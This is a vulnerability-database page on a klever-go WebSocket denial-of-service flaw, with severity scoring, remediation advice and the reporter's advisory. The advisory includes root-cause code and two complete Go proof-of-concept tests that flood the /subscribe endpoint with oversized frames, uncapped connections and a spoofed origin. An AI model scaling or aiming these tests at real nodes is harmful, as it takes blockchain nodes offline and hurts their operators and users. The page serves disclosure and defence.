Skip to main content

Klever-Go CVE-2026-86065

| EUVDEUVD-2026-85575 HIGH
Allocation of Resources Without Limits or Throttling (CWE-770)
2026-09-23 https://github.com/klever-io/klever-go GHSA-4fwh-wrm6-97xm
7.5
CVSS 3.1 · Vendor: https://github.com/klever-io/klever-go
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach node /subscribe WebSocket endpoint
  2. Delivery
    Complete unauthenticated handshake (CheckOrigin==true)
  3. Exploit
    Send oversized frame / many uncapped connections
  4. Execution
    Exhaust node heap, goroutines, subscription map
  5. Impact
    OOM-kill in-process node, drop P2P and consensus

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource allocation limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The node's REST/WebSocket API must be reachable and the default /subscribe route (open:true in config/node/api.yaml) enabled - the standard configuration for public RPC and observer nodes bound with --rest-api-interface :8080/0.0.0.0:8080. No authentication, account, stake, or funds are required (PR:N confirmed by vector). Even when the API is bound only to localhost:8080 (the default), the always-true CheckOrigin lets any website the operator visits open ws://localhost:8080/subscribe from the victim's browser, so a network-facing bind is NOT strictly required for the cross-origin drive-by variant. There is no user interaction for the network-exposed variant (UI:N); the browser drive-by variant instead requires the operator to visit a malicious page. Exploitation is blocked only by upgrading to klever-go 1.7.20+ (which adds connection/per-IP/address caps and a read-size limit) or by disabling/securing the /subscribe route.

Impact

This is a genuine, high-quality DoS finding but its real-world priority is bounded by product footprint, not signal strength. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, 7.5) accurately reflects an unauthenticated, network-reachable, low-complexity availability break with no confidentiality or integrity impact - consistent with the CWE-770 (uncontrolled resource consumption) classification. Exploit code exists and was executed by the reporter against unmodified production code at commit 23b74e1 (a unit PoC confirming 200,000 uncapped subscription-map entries and an end-to-end PoC confirming all three gaps with an A/B hardened control), so this is publicly available exploit code exists rather than mere theory. However, there is NO CISA KEV listing and NO EPSS score in the provided data, so there is no evidence of active in-the-wild exploitation - do not conflate the working PoC with active exploitation. The severity is credible and the vendor has confirmed and patched it (fixed in 1.7.20, PR#76, commit b8af922), which raises confidence. The tempering factor is prevalence: klever-go is a single-vendor blockchain node, so the blast radius is the Klever network's node operators and public RPC/observer infrastructure, not the broad internet. Priority is HIGH for any organization running klever-go public RPC/observer nodes (patch promptly), LOW-to-nil for everyone else.

Exploit ScenarioDerived

A remote, unauthenticated attacker opens a WebSocket to a klever-go node's public RPC/observer endpoint (e.g. :8080/subscribe) and sends a single oversized frame (multi-MB, no read-size limit) and/or opens many concurrent connections each submitting large uncapped address lists, driving the in-process node to OOM/goroutine exhaustion and killing its P2P and consensus participation. Because CheckOrigin always returns true, the same three gaps can even be driven from a victim operator's browser via a malicious web page against a localhost-bound node. Working PoC code (unit + end-to-end, with hardened A/B control) was executed successfully by the reporter at commit 23b74e1.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 23, 2026

Unauthenticated remote denial of service in Klever-Go (all versions before 1.7.20) allows any client that can reach the node's REST/WebSocket API to exhaust its memory and goroutines through the default-open /subscribe endpoint, and because that API runs in-process with the node, the resulting OOM-kill also takes down P2P and consensus participation. No API key, account, stake, or funds are required (vector PR:N), and publicly available exploit code exists: the vendor advisory ships working PoCs against unmodified production code showing a single 8 MiB WebSocket frame expanding server heap by roughly 32 MiB, 300 concurrent connections accepted despite a configured global cap of 100, and 200,000 attacker-supplied address strings growing the hub's subscription map 1:1 with no cap. The assessed severity is CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H), and real-world priority is bounded mainly by Klever-Go's limited node footprint rather than by any weakness in the finding itself.

RemediationAI

Vendor-released patch: upgrade to klever-go 1.7.20 or later (release tag v1.7.20, implementing PR https://github.com/klever-io/klever-go/pull/76 and commit b8af922e749ec1fa7451b2c6e7c9f634d8603be2), which adds a derived WebSocket read-size limit, node-wide and per-IP live-connection caps, per-subscribe and per-client address caps, and honours the secured flag for /subscribe. After upgrading, tune the new antiflood keys in config/node/config.yaml: webSocketConnections (default 4096), webSocketConnectionsPerIP (default 1024), webSocketMaxAddressesPerSubscribe (default 10000), and webSocketMaxAddressesPerClient (default 50000), and set the /subscribe route to secured:true in config/node/api.yaml to require Basic Auth on the handshake for public/mainnet deployments. Trade-offs to plan for: a per-IP cap is shared by all clients behind a reverse proxy or load balancer, so raise it or set 0 for proxied deployments, and enabling secured:true will break unauthenticated WebSocket consumers such as wallets and explorers that subscribe to event feeds, while setting the route to open:false disables the event feed entirely. If upgrading is not immediately possible, compensate at the edge rather than in the node: front the API with a reverse proxy that rejects WS handshakes whose Origin is not an explicit allowlist (this blocks the cross-origin drive-by against localhost-bound nodes), enforces a maximum WebSocket message/frame size and a hard cap on concurrent upgraded connections per source IP, and drops idle connections without traffic (the missing read deadline means idle legitimate clients cannot be distinguished cheaply, so set a conservative idle timeout). None of these edge controls fix the uncapped per-connection address map, so they reduce rather than eliminate exposure until 1.7.20 is deployed.

Affected VersionsENISA

klever-go < 1.7.20

Affected Packages

go github.com/klever-io/klever-go fix: 1.7.20
euvd klever_go fix: 1.7.20

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Klever-Go is a Go blockchain node whose REST/WebSocket API is started in-process via ws.Run(...) in network/api/api.go, so API resource exhaustion is node resource exhaustion. The affected surface is the gin-registered GET /subscribe route (network/api/websocket/routes.go), which is open:true in the default config/node/api.yaml and therefore enabled without authentication. Three independent weaknesses stack on this endpoint, matching CWE-770 (Allocation of Resources Without Limits or Throttling) and the broader CWE-1385 class noted in the report: (1) the gorilla/websocket Upgrader sets CheckOrigin to a function that always returns true, so any web origin can complete the handshake; (2) conn.SetReadLimit is never called, and gorilla's default read limit is unlimited, so a single frame delivered to conn.ReadJSON in processSubscription or conn.ReadMessage in client.loopIn forces an arbitrarily large buffer allocation before any parsing; and (3) no connection or fan-out cap exists because the gin global throttler (simultaneousRequests: 100) releases its slot the moment handleSubscribe returns, which happens immediately after it launches go processSubscription(conn, hub), so live WebSocket connections are invisible to that limiter. Each accepted connection additionally allocates two goroutines plus a 500-entry buffered channel, and hub.HandleClientInsertion inserts every entry of the uncapped req.Addresses slice into the addressSubscription map, so heap usage grows 1:1 with attacker-chosen strings. The router itself offers no fallback control: /subscribe is absent from endpointsThrottlers and the read deadline is cleared with SetReadDeadline(time.Time{}) after the first read.

Know when Go gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/klever-io/klever-go) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 7.5 HIGH

Unauthenticated, network-reachable, deterministic resource exhaustion (PR:N/AV:N/AC:L/UI:N) causing full node process crash with no data exposure, so A:H only and S:U.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/klever-io/klever-go).

CVSS VectorVendor: https://github.com/klever-io/klever-go

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

The unauthenticated WebSocket endpoint GET /subscribe is registered open: true by default (config/node/api.yaml) and lets a remote, unauthenticated client exhaust the node's memory and goroutines. Because the REST API runs IN-PROCESS with the node - network/api/api.go Start(...) ends with ws.Run(kleverFacade.RestAPIInterface()) - exhausting/killing the API process takes down the entire node, including its P2P and consensus participation. No API key, account, stake, or funds are required.

Three compounding, independently-exploitable gaps stack on this one endpoint:

  1. Permissive origin - upgrader.CheckOrigin always returns true

(network/api/websocket/routes.go), so any web origin can complete the handshake.

  1. No read-size limit - the connection never calls conn.SetReadLimit(...). gorilla's default is

UNLIMITED, so a single conn.ReadJSON (processSubscription) or conn.ReadMessage (client.loopIn) can be forced to allocate an arbitrarily large buffer from ONE frame.

  1. No connection / fan-out cap - the gin global throttler (simultaneousRequests: 100) releases its

slot as soon as handleSubscribe returns, which it does immediately after go processSubscription(conn, hub). Live WebSocket connections are therefore NOT counted by it. There is no per-IP / per-connection / hub-level cap. Each accepted connection spawns 2 goroutines plus a 500-entry buffered channel, and req.Addresses has no length cap, so the hub's addressSubscription map grows 1:1 with attacker-supplied strings.

Affected Component / Code Path

Unauthenticated, reachable by default, no recovery on the resource-allocation path:

gin engine (network/api/api.go: Start -> ws.Run, IN-PROCESS with node)
 -> GET /subscribe                              network/api/websocket/routes.go:34  (SubscribeTopics)
   -> handleSubscribe                            network/api/websocket/routes.go:39
     -> upgrader.Upgrade  (CheckOrigin == true)  network/api/websocket/routes.go:22  <-- GAP #1
     -> go processSubscription(conn, hub)         network/api/websocket/routes.go:46  (throttler slot freed here)
        -> conn.ReadJSON(&req)  (no SetReadLimit) network/api/websocket/routes.go:57  <-- GAP #2
        -> hub.HandleClientInsertion(...)         websocket/websocket.go:121          <-- GAP #3 (addresses uncapped)
           -> websocket.NewClient -> loopIn/loopOut (2 goroutines + 500-buf chan per conn)  websocket/client.go:24
              -> conn.ReadMessage()  (no SetReadLimit, no deadline)  websocket/client.go:77  <-- GAP #2

Root-cause excerpts (commit 23b74e1):

network/api/websocket/routes.go

go
var upgrader = gorilla.Upgrader{
	CheckOrigin: func(r *http.Request) bool {
		return true                      // GAP #1: any origin accepted
	},
}

func handleSubscribe(c *gin.Context, hub *websocket.SocketHub) {
	conn, err := upgrader.Upgrade(c.Writer, c.Request, nil)
	if err != nil {
		log.Error(subscribeOp, "err", err.Error())
		return
	}
	go processSubscription(conn, hub) // returns now -> gin global throttler slot released (GAP #3)
}

func processSubscription(conn *gorilla.Conn, hub *websocket.SocketHub) {
	// no conn.SetReadLimit(...) anywhere (GAP #2)
	_ = conn.SetReadDeadline(time.Now().Add(subscribeReadTimeout))
	var req subscribeRequest
	if err := conn.ReadJSON(&req); err != nil { ... }      // unbounded read
	_ = conn.SetReadDeadline(time.Time{})                  // deadline cleared
	...
	client := websocket.NewClient(conn, hub)
	hub.HandleClientInsertion(parsedTypes, req.Addresses, client) // req.Addresses uncapped (GAP #3)
}

websocket/websocket.go - HandleClientInsertion inserts every address with no length cap:

go
for _, address := range addresses {
	if _, ok := h.addressSubscription[address]; !ok {
		h.addressSubscription[address] = make(map[*client]userOptions) // grows 1:1 with attacker input
	}
	...
}

websocket/client.go - loopIn reads with no size limit and no deadline:

go
for {
	messageType, message, err := c.conn.ReadMessage() // GAP #2: unbounded, no SetReadLimit
	...
}

Preconditions

  • The node's REST API must be reachable by the attacker. Two realistic deployment shapes:
  • (a) Operator-exposed API - --rest-api-interface :8080 / 0.0.0.0:8080. This is the standard

configuration for public RPC and observer infrastructure (the kind Klever itself operates at node.klever.org / api.klever.org). Here the attacker reaches /subscribe directly over the network with no further conditions.

  • (b) Cross-origin browser drive-by - default bind is localhost:8080

(common/facade/nodeFacade.go DefaultRestInterface = "localhost:8080"). Because CheckOrigin returns true (GAP #1), any website an operator visits can open ws://localhost:8080/subscribe from the victim's browser and drive GAP #2 (single oversized frame) and GAP #3 (many connections) without the API being network-exposed at all.

  • /subscribe is open: true in the default config/node/api.yaml; isSubscriptionRouteEnabled

returns true and the route + hub are wired unconditionally in RegisterRoutes.

  • /subscribe is NOT listed in endpointsThrottlers (config/node/config.yaml), so it has no

per-endpoint goroutine cap.

  • No authentication, no on-chain account, no stake, no attacker-created asset is required.

Impact (distributed by gap and by blast radius)

This single finding produces several distinct impacts because the three gaps amplify different node resources and reach the node through two different exposure models. They are broken out so the remediation owner can scope each one.

Impact A - Single-frame heap exhaustion (GAP #2, the cleanest primitive)

  • One unauthenticated connection sends ONE WebSocket frame; with no SetReadLimit, gorilla buffers

the entire frame in memory before the JSON is even parsed. Frame size scales the allocation linearly, so one connection can drive a multi-GB allocation.

  • Observed amplification: an 8 MiB frame grows the server heap by ~32 MiB (~4x) while buffering ONE

attacker frame (decode/UTF-8/scratch overhead on top of the raw bytes).

  • No flood and no rate-limit interaction is needed: the source throttler is a per-IP RATE cap on

HTTP handshakes, not a size or memory cap, so a single slow connection streaming one oversized message is not meaningfully throttled.

  • Result: OOM-kill of the node process from a single connection.

Impact B - Connection / goroutine exhaustion (GAP #3, fan-out)

  • Live WS connections are not counted by the gin global throttler (its slot is freed at the

HTTP→WS upgrade), and there is no per-IP or hub-level connection cap.

  • Each accepted connection costs 2 goroutines + a 500-entry buffered channel. Connection count grows

linearly with attacker effort from a single source, with no ceiling.

  • Result: goroutine/descriptor/scheduler exhaustion → node slowdown then OOM/crash.

Impact C - Unbounded subscription-map growth (GAP #3, per-connection memory)

  • req.Addresses is uncapped, and HandleClientInsertion inserts every entry into the hub's

addressSubscription map. ONE connection submitting N attacker-controlled address strings grows the map to exactly N entries (1:1), independent of how many real on-chain addresses exist.

  • Result: heap growth driven purely by attacker-chosen strings on a single connection; combinable

with Impact B (many connections × many addresses) for multiplicative memory pressure.

Impact D - Cross-origin reach to localhost-bound nodes (GAP #1, exposure amplifier)

  • Because CheckOrigin is always true, Impacts A-C are reachable from a victim's browser even

when the API is bound to localhost and never exposed to the network. A node operator who simply visits a malicious page can have their own node driven into Impact A/B/C from inside their browser.

  • Result: the localhost-bind "mitigation" does not hold against a web-drive-by attacker.

Blast-radius note (applies to all of the above)

  • The REST/WS API runs in the SAME process as the node (ws.Run(...) in network/api/api.go).

OOM/kill of the API = loss of P2P + consensus participation for that node, not merely loss of the RPC surface. For a public RPC/observer node this is an availability break for every downstream wallet/explorer/service; repeated across many nodes it degrades overall network availability.

Exploit Cost / Attack Complexity

  • Cost: negligible. No funds, no stake, no account, no API key. One TCP/WS connection (Impact A) or a

modest number of connections (Impact B/C). Impact D needs only that the operator visits a web page.

  • Complexity: LOW. Unauthenticated, remote, deterministic. The vulnerability is the ABSENCE of caps,

so it does not depend on a race or on a specific node version beyond the affected range.

PoC-Result

Two complementary PoCs were executed against the REAL production code at commit 23b74e1. All runs PASS. Sources, scenarios, and run instructions are in PoC-Source below.

Result 1 - Unit PoC: unbounded addressSubscription growth (Impact C)

Drives the real SocketHub.HandleClientInsertion (production code, no stub) with one client submitting 200,000 attacker-controlled address strings.

$ go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v
=== RUN   TestPoC_UnboundedAddressSubscriptionGrowth
    zz_poc_ws_unbounded_subscription_test.go:46: addressSubscription entries after ONE client submitted 200000 addresses: 200000
    zz_poc_ws_unbounded_subscription_test.go:50: VULNERABLE: no cap on per-connection address count
--- PASS: TestPoC_UnboundedAddressSubscriptionGrowth (0.09s)
PASS
ok  	github.com/klever-io/klever-go/websocket	0.092s

Interpretation: one connection → 200,000 hub map entries (1:1), confirming GAP #3 / Impact C with no cap. Scaling the address count scales the allocation.

Result 2 - End-to-end PoC: all three gaps over a real loopback gin + gorilla WS server (Impacts A, B, D)

Runs the REAL network/api/websocket.SubscribeTopics + websocket.NewHub + hub.StartServer behind a gin server on 127.0.0.1, driven by a real gorilla WebSocket client, with a "hardened" A/B control (strict CheckOrigin + SetReadLimit(1 MiB)) to prove each missing control is the cause.

$ go test ./network/api/websocket/ -run TestE2E_Gap -v
=== RUN   TestE2E_Gap1_EvilOriginAccepted
    zz_e2e_ws_dos_test.go:87: GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP 101)
    zz_e2e_ws_dos_test.go:94: control: hardened handler rejected evil origin (HTTP 403) as expected
--- PASS: TestE2E_Gap1_EvilOriginAccepted (0.00s)
=== RUN   TestE2E_Gap2_NoReadSizeLimit
    zz_e2e_ws_dos_test.go:118: control: hardened handler rejected 8388608-byte frame with close 1009 (read limit works)
    zz_e2e_ws_dos_test.go:147: GAP#2 CONFIRMED: real /subscribe accepted an 8388608-byte (8 MiB) frame with NO size limit (no close 1009; read err=read tcp ... i/o timeout). Server heap grew ~32 MiB while buffering one attacker frame.
--- PASS: TestE2E_Gap2_NoReadSizeLimit (1.43s)
=== RUN   TestE2E_Gap3_NoConnectionCap
    zz_e2e_ws_dos_test.go:185: GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL 300 concurrent connections from one client with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew 4 -> 604 (~2 per conn).
--- PASS: TestE2E_Gap3_NoConnectionCap (0.43s)
PASS
ok  	github.com/klever-io/klever-go/network/api/websocket	1.866s

Interpretation:

  • GAP #1 (Impact D): the real handler completes the handshake (HTTP 101) for

Origin: https://evil.attacker.example; the hardened control returns HTTP 403. → cross-origin drive-by reach, including to localhost-bound nodes.

  • GAP #2 (Impact A): one unauthenticated connection sends a single 8 MiB frame; the real server

buffers it whole (~32 MiB heap, ~4x amplification, NO close 1009). The 1 MiB-capped control rejects it with close 1009. → one connection scales to a multi-GB allocation.

  • GAP #3 (Impact B): 300 > the configured global cap of 100 simultaneous requests were ALL accepted

as live connections; goroutines grew 4 → 604 (~2 per connection). → the global throttler does not bound live WS connections; growth is linear and uncapped.

Production-safety note on the PoC

Frame size (8 MiB) and connection count (300) are kept deliberately modest so the test host is not OOM-killed. The vulnerability is the ABSENCE of the read-size / connection / origin controls, which the hardened A/B control proves fixes each gap. Full end-to-end OOM (multi-GB frame / connection flood) is intentionally NOT executed against any production node.

PoC-Source

Two self-contained Go tests reproduce the finding against the unmodified production code. Both use only the repo's own go.mod dependencies (gin + gorilla, already required) and the real network/api/websocket + websocket packages. No external services.

Scenario

  • PoC 1 (unit, Impact C) targets the hub primitive directly: build one in-process client, call the

REAL SocketHub.HandleClientInsertion with 200,000 attacker-controlled address strings, and assert the hub's addressSubscription map grows 1:1 (no cap). This isolates GAP #3 / Impact C with zero network setup.

  • PoC 2 (end-to-end, Impacts A/B/D) stands up the REAL handler: gin.New() + the production

wsapi.SubscribeTopics(engine, hub) + websocket.NewHub(...) + hub.StartServer(ctx) on a 127.0.0.1:0 listener, then drives it with a real gorilla WS client. A "hardened" mirror server (strict CheckOrigin + SetReadLimit(1 MiB)) is the A/B control that proves each missing control is the root cause:

  • Gap1 test: dial with Origin: https://evil.attacker.example; real accepts (HTTP 101), control rejects (403).
  • Gap2 test: send one 8 MiB valid subscribe frame; real buffers it (no close 1009, heap grows ~32 MiB),

control closes with 1009 (message too big).

  • Gap3 test: open 300 concurrent connections from one client; real accepts all (goroutines grow ~2/conn),

proving the gin global cap of 100 is not enforced on live WS.

How to run

  1. git clone https://github.com/klever-io/klever-go && cd klever-go

(Go toolchain matching go.mod; verified locally on go1.26.3 at commit 23b74e1.)

  1. Save PoC 1 as websocket/poc_ws_unbounded_subscription_test.go and run:

go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v

  1. Save PoC 2 as network/api/websocket/e2e_ws_dos_test.go and run:

go test ./network/api/websocket/ -run TestE2E_Gap -v (The three TestE2E_Gap* subtests can run together; each starts its own loopback server.)

  • Production-safety: frame size (8 MiB) and connection count (300) are intentionally small so the

runner is not OOM-killed; they demonstrate the missing caps, not a live OOM. Do NOT point these at a production node.

Full PoC source 1 - websocket/poc_ws_unbounded_subscription_test.go

go
// Target component:    klever-go REST/WebSocket API - unauthenticated /subscribe (network/api/websocket, websocket/)
// Vulnerability type:  Uncontrolled resource consumption (CWE-770) - unauthenticated remote
//                      memory/goroutine exhaustion of the node process via the WS API.
// Scope note:          The REST API runs IN-PROCESS with the node, so OOM kills the whole node
//                      (P2P + consensus), not a separate sidecar.
//
// Three compounding gaps on the unauthenticated `/subscribe` endpoint (open:true by default):
//   1) gorilla Upgrader has CheckOrigin -> always true (any origin).
//   2) NO conn.SetReadLimit: a single WS frame/JSON can be arbitrarily large -> one message
//      can force a multi-GB allocation in conn.ReadJSON / ReadMessage.
//   3) NO connection cap (per-IP / global / hub-level): the gin global throttler slot is
//      released right after the HTTP->WS upgrade in handleSubscribe (it returns immediately
//      after `go processSubscription`), so live WS connections are NOT counted by the
//      100-simultaneous-request cap. Each connection also spawns 2 goroutines + a 500-buffered
//      channel, and there is no per-connection cap on req.Addresses, so the hub's
//      addressSubscription map grows 1:1 with attacker-supplied strings.
//
// This test runtime-confirms gap #3 (unbounded addressSubscription growth). Gaps #1/#2 are
// verified by code review (no SetReadLimit / CheckOrigin==true in network/api/websocket/routes.go).
//
// How to run: cp into websocket/ and `go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v`
package websocket

import (
	"fmt"
	"testing"

	"github.com/klever-io/klever-go/indexer"
)

func TestPoC_UnboundedAddressSubscriptionGrowth(t *testing.T) {
	hub := NewHub("", "", nil)
	c := &client{hub: hub, out: make(chan interface{}, 10), alive: true, sem: make(chan struct{}, maxWorkers)}

	const n = 200000
	addresses := make([]string, n)
	for i := 0; i < n; i++ {
		addresses[i] = fmt.Sprintf("klv-attacker-addr-%d", i)
	}
	hub.HandleClientInsertion([]indexer.EventType{indexer.ACCOUNTS}, addresses, c)

	hub.mu.RLock()
	got := len(hub.addressSubscription)
	hub.mu.RUnlock()

	t.Logf("addressSubscription entries after ONE client submitted %d addresses: %d", n, got)
	if got != n {
		t.Fatalf("expected unbounded growth to %d, got %d", n, got)
	}
	t.Logf("VULNERABLE: no cap on per-connection address count")
}

Full PoC source 2 - network/api/websocket/e2e_ws_dos_test.go

go
package websocket_test

import (
	"context"
	"net"
	"net/http"
	"runtime"
	"strings"
	"testing"
	"time"

	"github.com/gin-gonic/gin"
	gorilla "github.com/gorilla/websocket"

	wsapi "github.com/klever-io/klever-go/network/api/websocket"
	hubpkg "github.com/klever-io/klever-go/websocket"
)

// ---- vulnerable server: the REAL production handler ----
func startRealSubscribeServer(t *testing.T) (string, func()) {
	t.Helper()
	gin.SetMode(gin.ReleaseMode)
	engine := gin.New()
	hub := hubpkg.NewHub("", "", nil) // facade nil: /subscribe path doesn't use it
	ctx, cancel := context.WithCancel(context.Background())
	go hub.StartServer(ctx)
	wsapi.SubscribeTopics(engine, hub) // <-- REAL production registration

	ln, err := net.Listen("tcp", "127.0.0.1:0")
	if err != nil {
		t.Fatal(err)
	}
	srv := &http.Server{Handler: engine}
	go func() { _ = srv.Serve(ln) }()
	stop := func() { cancel(); _ = srv.Close(); _ = ln.Close() }
	return ln.Addr().String(), stop
}

// ---- hardened mirror: same flow + the missing controls (strict origin + SetReadLimit) ----
func startHardenedSubscribeServer(t *testing.T) (string, func()) {
	t.Helper()
	gin.SetMode(gin.ReleaseMode)
	engine := gin.New()
	up := gorilla.Upgrader{CheckOrigin: func(r *http.Request) bool {
		return r.Header.Get("Origin") == "" // strict: only same/no-origin allowed
	}}
	engine.GET("/subscribe", func(c *gin.Context) {
		conn, err := up.Upgrade(c.Writer, c.Request, nil)
		if err != nil {
			return
		}
		conn.SetReadLimit(1 << 20) // 1 MiB cap (the fix)
		go func() {
			defer conn.Close()
			for {
				if _, _, err := conn.ReadMessage(); err != nil {
					return
				}
			}
		}()
	})
	ln, _ := net.Listen("tcp", "127.0.0.1:0")
	srv := &http.Server{Handler: engine}
	go func() { _ = srv.Serve(ln) }()
	return ln.Addr().String(), func() { _ = srv.Close(); _ = ln.Close() }
}

func bigValidSubscribeJSON(addrBytes int) []byte {
	// valid subscribe frame: one giant attacker-controlled address string
	return []byte(`{"subscribed_types":["accounts"],"addresses":["` + strings.Repeat("A", addrBytes) + `"]}`)
}

// GAP #1 - permissive origin: real handler accepts an evil Origin; hardened rejects it.
func TestE2E_Gap1_EvilOriginAccepted(t *testing.T) {
	realAddr, stopReal := startRealSubscribeServer(t)
	defer stopReal()
	hardAddr, stopHard := startHardenedSubscribeServer(t)
	defer stopHard()

	hdr := http.Header{"Origin": []string{"https://evil.attacker.example"}}

	cReal, respReal, errReal := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", hdr)
	if errReal != nil {
		t.Fatalf("REAL handler REJECTED evil origin (status %v) - not vulnerable", respReal)
	}
	_ = cReal.Close()
	t.Logf("GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP %d)", respReal.StatusCode)

	cHard, respHard, errHard := gorilla.DefaultDialer.Dial("ws://"+hardAddr+"/subscribe", hdr)
	if errHard == nil {
		_ = cHard.Close()
		t.Fatalf("hardened control unexpectedly accepted evil origin")
	}
	t.Logf("control: hardened handler rejected evil origin (HTTP %d) as expected", respHard.StatusCode)
}

// GAP #2 - no read-size limit: real handler reads a frame far over any sane WS limit;
// the hardened control (SetReadLimit 1 MiB) closes the connection with 1009 on the same frame.
func TestE2E_Gap2_NoReadSizeLimit(t *testing.T) {
	realAddr, stopReal := startRealSubscribeServer(t)
	defer stopReal()
	hardAddr, stopHard := startHardenedSubscribeServer(t)
	defer stopHard()

	const big = 8 << 20 // 8 MiB single frame (>> typical 1 MiB cap; tiny enough not to OOM the runner)
	frame := bigValidSubscribeJSON(big)

	// --- hardened control: must reject (close 1009 "message too big") ---
	cHard, _, err := gorilla.DefaultDialer.Dial("ws://"+hardAddr+"/subscribe", nil)
	if err != nil {
		t.Fatalf("dial hardened: %v", err)
	}
	_ = cHard.WriteMessage(gorilla.TextMessage, frame)
	cHard.SetReadDeadline(time.Now().Add(3 * time.Second))
	_, _, errHard := cHard.ReadMessage()
	_ = cHard.Close()
	if ce, ok := errHard.(*gorilla.CloseError); ok && ce.Code == gorilla.CloseMessageTooBig {
		t.Logf("control: hardened handler rejected %d-byte frame with close 1009 (read limit works)", big)
	} else {
		t.Logf("control note: hardened returned %v (expected close 1009)", errHard)
	}

	// --- REAL handler: reads the whole 8 MiB frame; connection NOT closed for size ---
	var m0, m1 runtime.MemStats
	runtime.GC()
	runtime.ReadMemStats(&m0)

	cReal, _, err := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", nil)
	if err != nil {
		t.Fatalf("dial real: %v", err)
	}
	if err := cReal.WriteMessage(gorilla.TextMessage, frame); err != nil {
		t.Fatalf("write big frame to real: %v", err)
	}
	// Give the server time to ReadJSON the full frame + insert the giant address.
	time.Sleep(400 * time.Millisecond)
	runtime.ReadMemStats(&m1)

	// The real handler must NOT have closed us with 1009. Probe with a short read.
	cReal.SetReadDeadline(time.Now().Add(1 * time.Second))
	_, _, rerr := cReal.ReadMessage()
	_ = cReal.Close()
	if ce, ok := rerr.(*gorilla.CloseError); ok && ce.Code == gorilla.CloseMessageTooBig {
		t.Fatalf("REAL handler enforced a read limit (close 1009) - NOT vulnerable")
	}

	t.Logf("GAP#2 CONFIRMED: real /subscribe accepted an %d-byte (8 MiB) frame with NO size limit "+
		"(no close 1009; read err=%v). Server heap grew ~%d MiB while buffering one attacker frame.",
		big, rerr, int64(m1.HeapAlloc-m0.HeapAlloc)/(1<<20))

}

// GAP #3 (connection level) - no per-connection / per-IP / global cap on live WS connections.
// Open many concurrent real connections from one client; the real server accepts them all and
// spawns 2 goroutines + a 500-buffered channel each (uncounted by the gin global throttler,
// whose slot is released right after the HTTP->WS upgrade). Measured via goroutine growth.
func TestE2E_Gap3_NoConnectionCap(t *testing.T) {
	realAddr, stopReal := startRealSubscribeServer(t)
	defer stopReal()

	const n = 300 // modest; enough to show no cap without stressing the runner
	g0 := runtime.NumGoroutine()
	conns := make([]*gorilla.Conn, 0, n)
	accepted := 0
	for i := 0; i < n; i++ {
		c, _, err := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", nil)
		if err != nil {
			t.Logf("connection %d rejected: %v", i, err)
			break
		}
		// send a valid subscribe so the server promotes it to a live hub client
		_ = c.WriteMessage(gorilla.TextMessage, []byte(`{"subscribed_types":["blocks"],"addresses":[]}`))
		conns = append(conns, c)
		accepted++
	}
	time.Sleep(300 * time.Millisecond)
	g1 := runtime.NumGoroutine()
	for _, c := range conns {
		_ = c.Close()
	}

	if accepted < n {
		t.Fatalf("server applied a connection cap at %d (<%d) - would weaken the finding", accepted, n)
	}
	t.Logf("GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL %d concurrent connections from one client "+
		"with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew %d -> %d (~%d per conn).",
		accepted, g0, g1, (g1-g0)/n)
}

Suggested Fix

Address each gap; they are independent and all should be fixed regardless of API binding.

  • GAP #2 (read-size) - set an explicit read limit on every accepted WS connection, before any read,

in both read paths (processSubscription and client.loopIn):

go
  const maxWSMessageSize = 1 << 20 // 1 MiB; tune to the largest legitimate subscribe payload
  conn.SetReadLimit(maxWSMessageSize)

gorilla then closes oversized frames with close 1009 instead of buffering unbounded memory.

  • GAP #3 (connection / fan-out cap):
  • Cap concurrent WS connections globally and per source IP with a dedicated limiter that is held

for the WS lifetime (the gin global throttler cannot do this - its slot is released at the HTTP→WS upgrade). Reject (HTTP 503 / close) beyond the cap.

  • Bound len(req.Addresses) and the total per-connection subscription count to a sane maximum;

reject or truncate beyond it in HandleClientInsertion / processSubscription.

  • GAP #1 (origin) - replace CheckOrigin: func(...) bool { return true } with an allowlist driven by

config (same-origin and explicitly trusted origins only). This removes the cross-origin drive-by reach to localhost-bound nodes (Impact D).

  • Defense-in-depth - keep a read deadline active for the lifetime of the connection (the current code

clears it via SetReadDeadline(time.Time{}) after the first read), so an idle/slow connection cannot pin resources indefinitely.

Duplicate Check (vs published advisories)

